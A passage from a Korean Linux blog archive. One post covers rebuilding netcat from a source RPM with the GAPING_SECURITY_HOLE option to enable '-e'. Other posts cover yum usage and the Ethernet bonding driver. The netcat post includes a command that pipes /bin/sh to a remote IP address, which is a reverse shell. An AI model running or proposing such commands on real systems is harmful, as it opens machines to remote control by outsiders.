실행 중(--clean): /bin/sh -e /var/tmp/rpm-tmp.77747
+ umask 022
+ cd /usr/src/redhat/BUILD
+ rm -rf nc
+ exit 0

 

아래 명령으로 src.rpm 을 풀어보면, 원본 소스와 패치 파일들을 볼 수 있다.


# rpm2cpio nc-1.10-22.src.rpm | cpio -idumv

 

 

 

 

[STEP2] SRC RPM 수정하여 설치하기. (소스파일)

 

 

 

# nc 192.232.117.82 1111 -e /bin/sh

 

다음과 같이 '-e' 옵션을 사용하기 위해서는 별도의 컴파일 옵션이 필요하다.

 

-----------------------------------------------------------------------------------------
 -e command
             Execute the specified command, using data from the network for stdin, and sending stdout and stderr to the network.  This option is only present if nc was compiled with the GAPING_SECURITY_HOLE compile time option,  since it allows users to make arbitrary programs available to anyone on the network.
            
컴파일시 GAPING_SECURITY_HOLE 옵션이 추가가 되어야 한다.

-----------------------------------------------------------------------------------------

 

1) 최신의 netcat 소스를 얻는다.

 

CentOS SRC RPM : http://isoredirect.centos.org/centos/4/os/SRPMS/nc-1.10-22.src.rpm
(Netcat 원본소스 : http://www.vulnwatch.org/netcat/nc110.tgz)

 

 

[TIP]

- 배포판에서 최신의 src.rpm 파일이 없을 경우, 직접소스 파일을 이용하여 rpm 패키지를 만들 필요가 있다.

- src.rpm 뿐만 아니라. 모든 배포 소스파일(.tar.gz, .tar.bz2) 에는 '서비스명.spec' (ex. httpd.spec) 파일이 들어있다. 이 spec 파일을 사용하여 시스템에 맞는 rpm 을 만들수 있다.

- 아래와 같이 추출한다.

# tar -ztvf apr-util-0.9.7.tar.gz | grep spec

# tar -zxvf apr-util-0.9.7.tar.gz apr-util-0.9.7/apr-util.spec

 


2) 다운받아 src.rpm 패키지를 해제한다.

# rpm2cpio nc-1.10-22.src.rpm | cpio -idumv

 

 

3) 패키지 생성에 사용된는 spec 파일과 원본소스들을 적당한 위치로 옮긴다.
- 여기서는 'redhat'을 사용하여 경로가 /usr/src/redhat 이 된다.


# mv nc.spec /usr/src/redhat/SPECS/
# mv ./* /usr/src/redhat/SOURCES/ <-- 원본소스로 만들경우 소스파일을 그대로(압축된상태)옮겨 놓으면 된다.

 


2-3) 은 아래 명령으로 자동으로 실행된다.

# rpm -Uvh nc-1.10-22.src.rpm

 


4) SPEC 파일 수정

- 우리는 '-e' 옵션을 사용하고 싶기 때문에 spec 파일을 수정할 필요가 있다.
- make 시 확장 옵션이 사용할 수 있도록 XFLAGS 를 입력한다.

 

---------------- /usr/src/redhat/SPECS/nc.spec ----------------------------------------

make CFLAGS="$RPM_OPT_FLAGS" XFLAGS="-DLINUX -DGAPING_SECURITY_HOLE" generic

-----------------------------------------------------------------------------------------

 


5) RPM 패키지를 제작한다.
#
rpmbuild -ba -v /usr/src/redhat/SPECS/nc.spec

 

 

TIP) SRC RPM 작성

# rpmbuild -bs -v /usr/src/redhat/SPECS/nc.spec

작성: /usr/src/redhat/SRPMS/nc-1.10-22.src.rpm

 


6) RPM 을 설치한다.
#
rpm -Uvh ../RPMS/i386/nc-1.10-22.i386.rpm

 

 

 

 

 

 

 

참고문서 : http://www.pcworld.idg.com.au/index.php/id;1013924616;fp;2;fpid;1039317049

 

 

Compiling software with Rpmbuild

 

20/06/2003 07:54:13

 

The performance and space-saving advantages of compiling software from source are regularly championed in this column. Many users, however, find it much easier to install pre-compiled applications distributed in the RPM or DEB formats. In this column, we instruct you in using a tool that combines the performance advantages of compiling software from source with the ease of installation offered by pre-compiled binaries.

 

Have you ever downloaded a Linux application from the Internet and noticed files of the type .src.rpm as available downloads? These files are called source RPMs and contain the source code to the application, as well as instructions on how to turn it into a binary RPM. The rpmbuild tool can use these instructions, known as a spec file, to automatically compile the application and produce a binary RPM for you.

 

Any distribution based on RPM should already have rpmbuild installed. You can check this by typing into a shell:

 

$ rpmbuild

 

which will display if rpmbuild is installed: 

rpmbuild: no spec files given for build

 

To compile a .src.rpm with rpmbuild, use the --rebuild flag as shown below. You may need to be the root user to build an RPM with rpmbuild. To compile a large application with rpmbuild you will potentially need a large amount of free disk space, up to 1GB, available under /usr/src. Note that compiling a large application with rpmbuild may take up to a couple of hours, depending on your CPU speed.

 

$ rpmbuild --rebuild program.src.rpm

 

The process of compiling the application and building an RPM is entirely automated from start to finish and will be displayed on the screen. Often when rebuilding a .src.rpm, you will encounter what is known as a missing dependency. These usually take the form of a missing system file. To compile a .src.rpm, many development packages, identifiable by the presence of the string ‘-devel’ in the filename, may be required. To list the dependencies of a .src.rpm, type the following in a shell:

 

$ rpm -qp --requires program.src.rpm

 

Before attempting to rebuild a .src.rpm, first verify that all of these dependencies have been installed. At the conclusion of the rpmbuild process the location of the freshly compiled binary RPMs generated by rpmbuild will be displayed. Under Red Hat Linux, this location is /usr/src/redhat/. Often two or more RPMs will be generated from a single .src.rpm file. You can install these RPMs as you would any other, by typing as root: $ rpm -ivh program.rpm

 

 

For Search - rpmbuild

반응형

'OS > LINUX' 카테고리의 다른 글

REDHAT 9 설치후 기본 셋팅  (0) 2008.02.27
redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
yum  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
Posted by [PineTree]
OS/LINUX2008. 2. 11. 23:19

yum

반응형

 

Yellow dog Updater, Modified

 

 

0. 설치

 

YUM down : http://linux.duke.edu/projects/yum/download.ptml

 

1) 서버에 설치된 파이썬 버전확인

- yum 은 파이썬을 사용하기 때문에 파이썬 버전에 맞는 yum 을 구해야 한다.

 

2) 설치

- rpm 패키지의 경우 rpm -Uvh 를 사용하여 설치하거나

- 소스파일을 받았을 경우 configure; make; make install; 을 거쳐 파일을 설치한다.

 

주의) 실행시 /var/cache/yum/updates 디렉터리가 없다며 실패할 경우가 있다.

# mkdir -p /var/cache/yum/updates  명령으로 디렉터리 생성후 재실행 한다.

 

 

1. 기본사용방법

 

search

- 사용가능한 RPM 패키지가 있는지 확인

root@estes samba # yum search mrtg

 

 

update

- 최신의 패키지로 업데이트

root@estes samba # yum update httpd

 

 

install

- 기존에 없던 패키지를 설치한다.

root@estes / # yum install iptraf

- 다음과 같이 2개를 동시에 설치할 수도 있다.

root@estes / # yum install GeoIP GeoIP-data

 

 

2. 설정파일 및 로그파일

 

/etc/yum.conf : yum 설정파일.

/var/cache/yum : yum 설치패키지들이 저장됨.

/var/log/yum.log : 로그파일

/etc/yum.repos.d : CentOS-Base.repo, CentOS-Media.repo 등 설치시 저장소를 등록할 수 있다.

 

 

3. rpmforge

 

 

# wget http://dag.wieers.com/packages/rpmforge-release/rpmforge-release-0.3.4-1.el4.rf.i386.rpm

 

- /etc/yum.repos.d : mirrors-rpmforge, rpmforge.repo 파일이 생성되며, yum 서치시 rpmforge 의 패키지들도 검색하게 된다.

 

 

4. yum-plugin-protectbase

 

- yum을 사용하여 update 시에 패키지들의 버전관리를 할 수 있다.

 

1) RPM 패키지를 설치한다.

# yum install yum-plugin-protectbase

 

 

2) Plugin을 활성화 시킨다.

- /etc/yum.conf 파일 하단에 'plugins=1'을 추가시켜 준다.

 

 

3) /etc/yum.repos.d/CentOS-Base.repo  설정파일을 편집한다.

- 파일에 현재 버전을 유지하고 싶은 곳에 'protect=1'을 입력한다. (예를 들어 Base, Update 를 유지하고 싶다면 [base],[update] 항목에 protect 를 건다.)

 

- 활성화 시키고 싶은 항목이 있으면 'enabled=1'로 활성화 시켜준다. (예를 들어 centosplus 를 활성화 시키고 싶다면 [centosplus] 항목에 enabled 를 활성화 시켜준다.)

 

반응형

'OS > LINUX' 카테고리의 다른 글

redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
[LINUX] rpmbuild  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
iptables  (0) 2007.11.21
Posted by [PineTree]
OS/LINUX2008. 2. 11. 22:50
반응형
Linux Ethernet Bonding Driver mini-howto

 

Initial release : Thomas Davis <tadavis at lbl.gov>

Corrections, HA extensions : 2000/10/03-15 :

  - Willy Tarreau <willy at meta-x.org>

  - Constantine Gavrilov <const-g at xpert.com>

  - Chad N. Tindel <ctindel at ieee dot org>

  - Janice Girouard <girouard at us dot ibm dot com>

 

Note :

------

bonding 드라이버는 원래 커널 2.0에 대한 Donald BeckerBeowulf 패치에서 파생하였다. 이것은 처음 버전에서 많이 변경되었기 때문에 extreme-linuxBeowulf 사이트에서 제공하는 툴은 bonding 드라이버와 잘 작동하지 않을 것이다.

 

새로운 드라이버 버전을 얻으려면 예전 커널을 패치하고, 사용자영역의 툴을 업데이트 해야 한다. 이 문서의 끝에 기록된 링크를 참조하라.

 

목차

=================

 

설치(Installation)

Bond 설정(Bond Configuration)

모듈 파라미터(Module Parameters)

다중 Bond 설정(Configuring Multiple Bonds)

설정 변경(Switch Configuration)

Bond 설정 검증(Verifying Bond Configuration)

자주 묻는 질문들(Frequently Asked Questions)

고가용성(High Availability)

Promiscuous Sniffing notes

제약(Limitations)

참고와 링크(Resources and Links)

 

 

설치

============

 

1) bonding 드라이버를 포함한 커널 빌드하기 (Build kernel with the bonding driver)

--------------------------------------------------------------

최신 bond 드라이버 버전을 위해서, 커널 2.4.12 또는 그 이상의 커널을 사용하라

(그렇지 않으면 패치가 필요하다).

 

make menuconfig/xconfig/config를 사용하여 커널 옵션을 설정한다. Network device support 부분에서 Bonding driver support 를 선택하라. 하나 이상의 bonding 장치를 설정하고, 드라이버를 모듈로 설치할 것을 권장하는데 이는 드라이버에 파라미터를 넘겨줄 수 있는 유일한 방법이 모듈방식이기 때문이다.

 

커널과 모듈을 컴파일하고 설치한다.

 

2) 사용자영역 툴을 받아서 설치하기(Get and install the userspace tools)

------------------------------------------------------

현재 bonding 드라이버 버전은 업데이트된 ifenslave 프로그램을 필요로 한다. Extreme-linux beowulf의 것과는 동작하지 않는다. 커널 2.4.12 이상 커널은 Documentaion/network 디렉토리에 ifenslave.c 의 업데이트된 버전을 포함한다. 더 오래된 커널에 대해서는 이 문서의 끝에 기록된 링크를 참고하라.

 

중요!!!  만일 레드헷 7.1이나 그 이후 버전을 사용하고 있다면 /usr/include/linux가 더 이상 /usr/src/linux/include/linux에 대한 심볼릭 링크가 아니기 때문에 주의해야 한다. 만일 그런 상태에서 ifenslave를 컴파일한다면 ifenslave는 성공한 것처럼 보이지만 bond는 동작하지 않을 것이다. Ifenslaver 컴파일시 I 옵션의 목적은 /usr/include/linux 에서가 아니라 /usr/src/linux/include/linux/if_bonding.h를 사용하도록 하는 것이다.

 

Ifenslave.c 를 설치하기 위해서 다음과 같이 수행하라.

 

    # gcc -Wall -Wstrict-prototypes -O -I/usr/src/linux/include ifenslave.c -o ifenslave

    # cp ifenslave /sbin/ifenslave

 

 

Bond 설정(Bond Configuration)

========================

 

bond0 인터페이스가 설정되었을 때, bonding 드라이버가 자동으로 load 되도록 하기 위해서 /etc/modules.conf에 다음 라인을 추가해야 한다. 특별히 자세한 modules.conf 문법을 위해서는 modules.conf 매뉴얼 페이지를 참조하라. 문서의 모듈 파라미터 부분에서는 bonding 드라이버 파라미터에 대해서 설명한다.

 

             alias bond0 bonding

 

bond0 네트워크 인터페이스를 정의하기 위해서는 일반적으로 널리 알려진 방법을 사용하라. 최근 레드헷 배포판을 예로 들면, /etc/sysconfig/network-script 디렉토리에 다음과 유사하게 ifcfg-bond0 파일을 생성하라.

 

DEVICE=bond0

IPADDR=192.168.1.1

NETMASK=255.255.255.0

NETWORK=192.168.1.0

BROADCAST=192.168.1.255

ONBOOT=yes

BOOTPROTO=none

USERCTL=no

 

(자신의 네트워크에 맞는 값을 넣으시오)

 

bond의 일부분인 모든 인터페이스는 SALVE MASTER를 정의해야 한다. 예를 들어 레드헷의 경우에 eth0 eth1 bond 인터페이스 bond0의 부분으로 만들고 싶다면, eth0, eth1의 설정파일(ifcfg-eth0, ifcfg-eth1)은 아래와 유사할 것이다.

 

DEVICE=eth0

USERCTL=no

ONBOOT=yes

MASTER=bond0

SLAVE=yes

BOOTPROTO=none

 

ifcfg-eth1설정 파일에 DEVICE=eth1을 사용하라. 만일 두 번째 bonding 인터페이스(bond1)를 설정한다면, 네트워크 인터페이스를 bond1의 슬레이브로 만들기 위해 설정 파일에 MASTER=bond1 이라고 기록한다.

 

네트워크 서브시스템을 재시작하거나, 관리 툴이 허용한다면 bonding 디바이스만 올리면 된다. 그렇지 않으면 리부팅하라. 레드헷에서는 ifup bond0 또는 /etc/rc.d/init.d/network restart 실행하면 된다.

 

만일 배포판의 관리툴이 네트워크 인터페이스 설정에서 master/slave 개념을 지원하지 않는다면, 다음 명령을 사용해서 bonding 디바이스를 수동으로 설정해야 할 것이다.

 

    # /sbin/ifconfig bond0 192.168.1.1 netmask 255.255.255.0 \

      broadcast 192.168.1.255 up

 

    # /sbin/ifenslave bond0 eth0

    # /sbin/ifenslave bond0 eth1

 

(자신의 네트워크에 맞는 값을 넣으시오)

 

적당한 rc 디렉토리안에 이러한 명령이 담긴 스크립트를 생성할 수 있다.

 

만일 bonding 드라이버가 올라오기 전에 모든 네트워크 드라이버를 올리고 싶다면, 다음 명령을 modules.conf 에 추가함으로써 eth0, eth1 네트워크 드라이버를 bonding 드라이버가 올라오기 전에 올릴 수 있다.

 

probeall bond0 eth0 eth1 bonding

 

줄의 끝에 bond0 자체를 참조하지 않도록 주의하라, 그렇지 않으면 modprobe는 끝없이 loop를 돌다가 죽을 것이다.

 

디바이스 특성(MTU 크기와 같은)을 슬레이브 디바이스에 전달하기 위해서, 디바이스를 슬레이브화 시키기 전에 bond 특성을 설정한다. 특성은 슬레이브화 과정에서 전달된다.

 

만일 SNMP 가 수행중이라면, bonding 드라이버는 bond에 참가하는 어떤 네트워크 드라이버보다 먼저 올라와야 한다. 이러한 요구사항은 주어진 IP 주소에서 첫 번째로 발견되는 인터페이스와 인터페이스 인덱스(ipAdEntIfIndex)가 연결되기 때문이다. , IP 주소에 대해서 ipAdEntIfIndex는 단 하나가 존재한다. 예를 들어 만일 eth0 eth1 bond0의 슬레이브이고, eth0에 대한 드라이버가 bonding 드라이버보다 먼저 올라왔다면, IP 주소에 대한 인터페이스는 eth0 인터페이스와 연결된다. 이러한 설정은 아래와 같다. IP 주소 192.168.1.1 fiDescr 테이블(ifDescr.2) eth0에 대한 인덱스인 인터페이스 인덱스 2를 갖는다.

 

     interfaces.ifTable.ifEntry.ifDescr.1 = lo

     interfaces.ifTable.ifEntry.ifDescr.2 = eth0

     interfaces.ifTable.ifEntry.ifDescr.3 = eth1

     interfaces.ifTable.ifEntry.ifDescr.4 = eth2

     interfaces.ifTable.ifEntry.ifDescr.5 = eth3

     interfaces.ifTable.ifEntry.ifDescr.6 = bond0

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.10.10.10 = 5

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.192.168.1.1 = 2

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.74.20.94 = 4

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.127.0.0.1 = 1

 

이러한 문제는 bond에 참여하는 다른 네트워크 드라이버보다 먼저 bonding 드라이버를 올림으로써 해결할 수 있다. 아래는 bonding 드라이버를 먼저 올리는 예이다. IP 주소 192.168.1.1은 정확하게 ifDescr.2와 연결된다.

 

     interfaces.ifTable.ifEntry.ifDescr.1 = lo

     interfaces.ifTable.ifEntry.ifDescr.2 = bond0

     interfaces.ifTable.ifEntry.ifDescr.3 = eth0

     interfaces.ifTable.ifEntry.ifDescr.4 = eth1

     interfaces.ifTable.ifEntry.ifDescr.5 = eth2

     interfaces.ifTable.ifEntry.ifDescr.6 = eth3

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.10.10.10 = 6

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.192.168.1.1 = 2

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.74.20.94 = 5

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.127.0.0.1 = 1

 

어떤 배포판은 ifDescr의 인터페이스 이름을 알리지 않을 수도 있다. IP 주소와 IfIndex 사이의 연결이 유지 될 것이고, Interface_Scan_Next 와 같은 SNMP 함수는 그러한 연결을 알려줄 것이다.

 

 

모듈 파라미터(Module Parameters)

==========================

 

bonding 드라이버의 파라미터는 insmod 명령에 명령라인 인수를 사용해 제공될 수 있다. 일반적으로 이러한 파라미터는 /etc/modules.conf(modules.conf에 대한 매뉴얼 페이지를 참고하라)에 기록한다. 사용 가능한 bonding 드라이버 파라미터를 아래에 기술했다. 만일 파라미터가 기술되지 않았다면 기본값이 사용된다. 초기 bond를 설정할 때, bonding 드라이버 에러 메시지를 살펴보기 위해서 다른 콘솔 창을 열고 tail f /var/log/messages를 실행하는 것을 권장한다.

 

mode

             4가지 bonding 정책 중 하나를 기술한다. 기본값은 round-robin이다.

             가능한 값은 다음과 같다.

 

0                       Round-robin 정책: 첫 번째 가능한 슬레이브부터 마지막까지 순차적으로 전송한다. 이 모드는 부하분산과 장애 감내를 제공한다.

 

1                       Active-backup 정책: bond에서 하나의 슬레이브만 활성화된다. 다른 슬레이브는 활성화된 슬레이브가 fail된 경우에만 활성화 된다.

 

2                       XOR 정책: [(출발지 MAC 주소와 도착지 MAC 주소의 XOR) modula 슬레이브 개수] 에 기초하여 전송한다. 이것은 각 도착지 MAC 주소에 대해서 동일한 슬레이브를 선택하게 된다. 이 모드는 부하분산과 장애감내를 제공한다.

 

3                       Broadcast 정책: 모든 슬레이브 인터페이스에 모든 것을 전송한다. 이것은 장애감내를 제공한다.

 

 

miimon

 

MII 링크 감시가 발생할 때 밀리(milli) 초 단위로 주파수를 기술한다. MII 링크 감시를 사용하지 않으려면 0 값을 준다. 100이 최초 시작할 때 적절한 값이 된다. 추가 정보를 위해서 고 가용성(High Availability) 부분을 참조하라. 기본값은 0 이다.

 

downdelay

 

링크가 죽은 것이 감지된 후에 링크를 사용하지 못하게 되는 지체 시간을 밀리(milli) 초 단위로 기술한다. 이것은 백만의 배수가 되어야 한다. 그렇지 않으면 값은 반올림될 것이다. 기본값은 0 이다.

 

 updelay

 

링크가 되살아난 것을 감지한 후에 링크를 사용할 수 있게 되는 지체 시간을 밀리(milli) 초 단위로 기술한다. 이것은 백만의 배수가 되어야 한다. 그렇지 않으면 값은 반올림될 것이다. 기본값은 0 이다.

 

arp_interval

 

ARP 감시 주기를 밀리(milli) 초 단위로 기술한다. 만일 ARP 감시가 부하분산 모드(모드 0 또는 2)에서 사용된다면, 스위치(switch) round-robin처럼 모든 링크에 걸쳐 패킷을 동등하게 분배하는 모드에서 설정되어야 한다. 만일 스위치(switch) XOR 형식으로 패킷을 분산하도록 설정된다면, ARP 목표(target)로부터 오는 모든 답신(reply)은 동일한 링크로 받게 될 것이다. 이것은 다른 팀 멤버가 실패하도록 하는 원인이 될 수 있다. ARP 감시는 miimon과 함께 사용되면 안 된다. ARP 감시를 사용하지 않는 값은 0 이다. 기본값은 0 이다.

 

 

arp_ip_target

 

arp_interval > 0 일 때 사용하기 위한 ip 주소를 기술한다. 이것은 목표에게 링크의 상태를 검사하도록 보내어진 ARP 목표의 요청이다. 이 값은 ddd.ddd.ddd.ddd 형식으로 기술한다. 다중 ip 주소는 ,로 구분되어야 한다. 적어도 하나의 ip 주소가 ARP 감시를 수행하기 위해 주어져야 한다. 설정할 수 있는 목표의 최대 개수는 16이다.

 

primary

 

문자열 (eth0, eth2, 등등) 1차 디바이스와 동등하다. 만일 이 값이 입력되고, 디바이스가 on-line이라면 첫 번째 출력 미디어로 사용될 것이다. 디바이스가 off-line일 때는 다른 디바이스가 사용될 것이다. 그렇지 않으면 일단 failover가 감지되고, 새로운 기본 출력이 선택된다면, fail될 때까지 출력 미디어로 남게 될 것이다. 이것은 하나의 슬레이브를 다른 것보다 더 우선 사용될 때 유용하다. 즉 하나의 슬레이브는 1000Mbps이고 다른 하나는 100Mbps일 때, 만일 1000Mbps 슬레이브가 fail되고 나중에 복구된다면, 일부러 100Mbps 슬레이브를 fail시키지 않고도, 더 빠른 슬레이브를 깔끔하게 활성화 시킬 수 있게 된다. primary를 설정하는 것은 active-backup 모드에서만 유효하다.

 

multicast

 

             멀티캐스트 지원을 위한 모든 연산의 정수 값

가능한 값은:

 

        0       사용불가 (멀티캐스트 지원안함)

 

        1       활성 슬레이브에서만 가능, active-backup 모드에서 유용하다.

 

        2       모든 슬레이브에서 가능, 기본값이다.

 

 

다중 Bonds 설정

==========================

 

만일 여러 가지 bonding 인터페이스가 필요하다면, 드라이버도 여러 개 올라와야 한다. 예를 들면, 100 ms 마다 링크 감시를 하는 두 개의 bonding 인터페이스를 설정하기 위해서 /etc/conf.modules은 다음과 같아야 한다.

 

alias bond0 bonding

alias bond1 bonding

 

options bond0 miimon=100

options bond1 -o bonding1 miimon=100

 

다중 ARP 목표 설정

================================

 

ARP 감시가 하나의 목표에서만 이루어질 수 있는 반면, 다중 ARP 목표는 감시할 여러 개의 목표를 가진 고 가용성 설정에서 유용하다. 하나의 목표인 경우에, 목표 그 자체가 다운되거나 ARP 요청에 응답하지 못하게 되는 문제를 가질 수 있다. 부가적인(또는 여러 개의) 목표를 가지는 것은 ARP 감시에 대한 신뢰도를 높일 수 있다.

다중 ARP 목표는 다음과 같이 콤마로 분리되어야 한다.

 

# example options for ARP monitoring with three targets

alias bond0 bonding

options bond0 arp_interval=60 arp_ip_target=192.168.0.1,192.168.0.3,192.168.0.9

 

단일 목표에 대한 옵션은 아래와 같다.

 

# example options for ARP monitoring with one target

alias bond0 bonding

options bond0 arp_interval=60 arp_ip_target=192.168.0.100

 

 

 

스위치 설정

====================

 

스위치는 active-backup 정책이 사용될 때 설정할 필요가 없는 반면에, round-robin, XOR 그리고 broadcast 정책(모드 0, 2, 3)에 대해서 설정이 필요하다.

 

 

Bond 설정 검증

============================

 

1) Bonding 정보 파일

----------------------------

bonding 드라이버 정보 파일은 /proc/net/bond* 디렉토리에 있다.

 

드라이버가 모드 0 miimon=1000이란 파라미터로 올라온 후에  /proc/net/bond0/info 의 내용은 아래와 같다.

 

        Bonding Mode: load balancing (round-robin)

        Currently Active Slave: eth0

        MII Status: up

        MII Polling Interval (ms): 1000

        Up Delay (ms): 0

        Down Delay (ms): 0

 

        Slave Interface: eth1

        MII Status: up

        Link Failure Count: 1

 

        Slave Interface: eth0

        MII Status: up

        Link Failure Count: 1

 

2) 네트워크 검증

-----------------------

네트워크 설정은 ifconfig 명령을 사용하여 검증할 수 있다. 아래 예제에서 bond0 인터페이스는 마스터(MASTER)이고 eth0 eth1은 슬레이브(SLAVE)이다. bond0의 모든 슬레이브는 bond0 와 동일한 MAC address를 갖는다는 것에 주의하라.

 

[root]# /sbin/ifconfig

bond0     Link encap:Ethernet  HWaddr 00:C0:F0:1F:37:B4 

          inet addr:XXX.XXX.XXX.YYY  Bcast:XXX.XXX.XXX.255  Mask:255.255.252.0

          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1

          RX packets:7224794 errors:0 dropped:0 overruns:0 frame:0

          TX packets:3286647 errors:1 dropped:0 overruns:1 carrier:0

          collisions:0 txqueuelen:0

 

eth0      Link encap:Ethernet  HWaddr 00:C0:F0:1F:37:B4 

          inet addr:XXX.XXX.XXX.YYY  Bcast:XXX.XXX.XXX.255  Mask:255.255.252.0

          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1

          RX packets:3573025 errors:0 dropped:0 overruns:0 frame:0

          TX packets:1643167 errors:1 dropped:0 overruns:1 carrier:0

          collisions:0 txqueuelen:100

          Interrupt:10 Base address:0x1080

 

eth1      Link encap:Ethernet  HWaddr 00:C0:F0:1F:37:B4 

          inet addr:XXX.XXX.XXX.YYY  Bcast:XXX.XXX.XXX.255  Mask:255.255.252.0

          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1

          RX packets:3651769 errors:0 dropped:0 overruns:0 frame:0

          TX packets:1643480 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          Interrupt:9 Base address:0x1400

 

 

자주 묻는 질문들

==========================

 

1.  SMP에서도 정상적으로 동작하는가?

 

. 예전 2.0.xx 채널 bonding 패치는 SMP에서 정상 작동하지 않는다. 새로운 드라이버는 처음부터 SMP를 고려하여 설계되었다.

 

2.  bonding과 같이 동작하는 카드의 형태는 어떤 것인가?

 

어떤 종류의 이더넷(Ethernet) 카드(예를 들어 인텔 EtherExpress PRO/100 3com 3c905b와 같이 여러 카드를 혼용할 수도 있다)와도 동작할 수 있다.

             또한 기가빗 이더넷(gigabit ethernet) 카드와도 bond할 수 있다.

 

3.  얼마나 많은 bonding 장치를 가질 수 있는가?

 

올린 모듈당 하나이다. 이것을 어떻게 이것을 하는지에 대해서sms 모듈 파라미터(Module Parameter) 섹션을 참고하라

 

4.  얼마나 많은 슬레이브가 bonding 장치를 가질 수 있나?

 

네트워크 인터페이스의 개수로 제한된다. 리눅스는 시스템에서 장착할 수 있는 개수만큼의 네트워크 카드 개수를 지원한다.

 

5.  슬레이브의 링크가 다운이 되면 어떤 일이 일어나는가?

 

만일 당신의 이더넷 카드가 MII 또는 ETHTOOL 링크 상태 감시를 지원한다면, 그리고 MII 감시가 드라이버에서 가능하였다면(모듈 파라미터에서 기록된 것을 참고하라), adverse 결론은 없을 것이다. 이러한 bonding 드라이버는 어떻게 MII 정보를 얻고, 링크 상태에 따라서 어떻게 슬레이브를 사용 가능하게 하거나 사용 가능하지 않게 하는지를 알고 있다.

            

             MII 상태를 지원하지 않는 이더넷 카드에 대해서, bonding이 정확하게 동작하게 하기 위해서 arp_interval arp_ip_target 파라미터가 기술되어야 한다. 만일 패킷이 정해진 arp_interval 동안 보내지거나 받아지지 않으면, ARP 요청이 주고 받는 패킷을 생성하기 위해 목표로 보내어 진다. 만일 이러한 시간 간격 후에, 성공적인 보내기/받기가 이루어지지 않는다면, 순서상 다음 슬레이브가 활성 슬레이브가 될 것이다.

 

만일 mii_monitor arp_interval 중 하나가 설정되지 않았다면, bonding 드라이버는 이러한 상황을 잘 처리하지 못할 것이다. 드라이버는 패킷을 계속 보낼 것이다. 하지만 어떤 패킷은 잃어버릴 것이다. 재전송은 심각한 성능의 저하를 가져온다(두 슬레이브중 하나가 fail되었을 때, 50% 패킷을 잃어버릴 것이다. 이것은 TCT UDP 모두 큰 문제이다).

            

 

6.  bonding이 고 가용성을 위해서 사용될 수 있는가?

 

만일 MII 감시를 사용하고, 모든 카드가 MII 링크 상태 보고를 지원한다면, 가능하다. 더 자세한 정보는 고 가용성 부분을 참고하라.

 

7.  어떤 스위치/시스템과 함께 잘 작동하는가?

 

             Round-robin XOR 모드에서, trunking을 지원하는 시스템과 잘 동작한다.

            

             * Cisco 5500 시리즈 (EtherChannel 지원을 참조하라).

             * SunTrunking 소프트웨어

             * Alteon AceDirector 스위치 / WebOS (Trunks 사용).

* BayStack 스위치 (trunks 분명하게 설정되어야 한다). 스택 가능한 모델(450)은 다른 물리적 단위에서 포트 사이의 trunks를 정의할 수 있다.)

             * Linux bonding

            

             active-backup 모드에서, 어떤 L2 스위치와 잘 작동한다.

 

 

8.  bonding 장치는 어디서 MAC 주소를 가져오는가?

 

만일 ifconfig를 사용하여 명백하게 설정하지 않는다면, bonding 디바이스의 MAC 주소는 첫 번째 슬레이브 디바이스로부터 가져온다. MAC 주소는 bonding 디바이스가 다운되거나 재설정될 때까지 다른 모든 슬레이브에 전달되고, 고정된다(첫 번째 슬레이브가 제거된다고 하더라도)

            

             만일 MAC 주소를 변경하려면 ifconfig를 사용하여 설정할 수 있다.

 

               # ifconfig bond0 hw ether 00:11:22:33:44:55

 

MAC 주소는 디바이스를 내리고 올리거나, 슬레이브(또는 슬레이브의 순서)를 변경하여 변경될 수 있다.

            

               # ifconfig bond0 down ; modprobe -r bonding

               # ifconfig bond0 .... up

               # ifenslave bond0 eth...

 

             이러한 방법은 추가될 다음 슬레이브로부터 주소를 자동으로 가져올 것이다.

 

슬레이브 MAC 주소를 되돌려놓으려면, bond로부터 슬레이브 디바이스를 떼어내고(ifenslaver d bond0 eth0), 정지시키고(ifconfig eth0 down), 드라이버를 내리고(예를 들어 rmmod 3c59x), eeprom으로부터 MAC 주소를 다시 읽어와야 한다. 만일 드라이버가 여러 개의 디바이스에 의해서 공유되고 있다면, 그 모든 디바이스를 다운시켜야 한다. 또다른 해결책은 부팅시에 MAC 주소를 살펴보고(dmesg 또는 tail /var/log/messages), ifconfig를 사용하여 수동으로 설정한다

 

               # ifconfig eth0 down

               # ifconfig eth0 hw ether 00:20:40:60:80:A0

 

9.  어떤 전송정책이 사용될 수 있는가?

 

슬레이브의 순서에 기초한 round-robin, 출력 디바이스는 다음 사용 가능한 슬레이브에 따라서 선택된다. 패킷의 출발지와 목적지와는 상관없다.

 

주어진 시간에 하나 또는 꼭 하나만의 디바이스가 전송하는 것을 보장하는 Active-backup 정책. Active-backup 정책은 두 개의 허브를 사용하여 고 가용성 솔루션을 구축하는데 유용하다.(고 가용성 부분을 참고하라).

 

% 슬레이브 개수에 기초한(src hw addr XOR dst hw addr) XOR. 이 정책은 각 목적지 hw 주소에 대해서 동일한 슬레이브를 선택한다.

 

             Broadcast 정책은 모든 슬레이브 인터페이스에서 모든 것을 전송한다.

 

 

고 가용성(High Availability)

====================

 

bonding 드라이버를 사용하여 고 가용성을 구현하기 위해서, 드라이버는 모듈로 컴파일 되어야 한다. 그것은 현재 드라이버에 파라미터를 전송하는 유일한 방법이기 때문이다. 이것은 이후에 변경될 것이다.

 

